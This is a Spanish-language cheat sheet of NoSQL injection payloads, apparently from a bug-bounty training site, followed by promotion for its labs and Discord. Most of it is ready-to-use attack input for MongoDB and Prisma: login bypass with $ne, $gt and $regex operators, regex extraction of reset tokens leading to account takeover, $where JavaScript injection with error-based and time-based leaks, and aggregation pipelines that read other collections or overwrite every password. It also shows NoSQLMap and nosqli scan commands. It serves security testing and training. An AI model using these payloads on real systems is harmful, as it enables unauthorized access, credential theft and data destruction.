Cheatsheet NoSQL Injection

Inyeccion NoSQL (MongoDB)

Referencia rápida

  • →Probar siempre operadores $ne, $gt, $regex en parametros de login como primer test
  • →$regex permite extraccion caracter por caracter - ideal para tokens y passwords
  • →Error-based extraction con $where: forzar throw para incluir datos sensibles en el error
  • →$lookup en aggregation pipeline permite hacer JOIN y leer otras colecciones
  • →Prisma ORM: findFirst() es vulnerable a inyeccion de operadores, findUnique() no

Bypass de autenticacion

URL format - $ne

username[$ne]=toto&password[$ne]=toto

URL format - $regex

username[$regex]=.*&password[$regex]=.*

URL format - $exists

username[$exists]=true&password[$exists]=true

JSON - $ne null

{"username": {"$ne": null}, "password": {"$ne": null}}

JSON - $ne string

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}

JSON - $gt undefined

{"username": {"$gt": undefined}, "password": {"$gt": undefined}}

JSON - $gt empty

{"username": {"$gt": ""}, "password": {"$gt": ""}}

Inyeccion de operadores

Not equals

username[$ne]=1&password[$ne]=1

Regex match

username[$regex]=^adm&password[$ne]=1

Regex longitudDeterminar longitud del campo

username[$regex]=.{25}&pass[$ne]=1

Equals

username[$eq]=admin&password[$ne]=1

Less than

username[$ne]=admin&pass[$lt]=s

Greater than

username[$ne]=admin&pass[$gt]=s

Not in array

username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7

$in con multiples usuarios

{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}

$regex oracle - extraccion caracter por caracter

Extraer primer caracterSi respuesta es diferente, el campo empieza con A

{"token": {"$regex": "^A"}}

Extraer segundo caracterContinuar: ^Ab, ^Ac, ... hasta match

{"token": {"$regex": "^Ab"}}

Password reset token leak

1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATO

Binary search optimizadoReducir de ~127 a ~7 queries por caracter usando rangos binarios

{"password": {"$regex": "^[a-m]"}}

$where y JavaScript injection

$where basico

' || 1==1//

$where con null byte

' || 1==1%00

$where equals

'=='

Error-based extractionEl error message incluye el valor secreto

{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}

Time-based injection

admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'

Sleep-based

';sleep(5000);

Inyeccion en aggregation pipeline

$lookup - JOIN para leak data

[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]

$out - sobrescribir coleccionSobrescribe passwords de toda la coleccion

[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]

Prisma findFirst bypassfindFirst es vulnerable, findUnique no

{"username": {"not": "admin"}, "email": {"startsWith": "a"}}

Herramientas

NoSQLMap

Herramienta automatizada de NoSQL injection para MongoDB

python3 nosqlmap.py -u https://target.com/login -p username,password

nosqli

Scanner CLI de NoSQL injection con multiples tecnicas

nosqli scan -t https://target.com/api/login

Burp Suite + NoSQLi extension

Extension de Burp para deteccion automatica de NoSQL injection

Burp > Extensions > NoSQL Injection

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.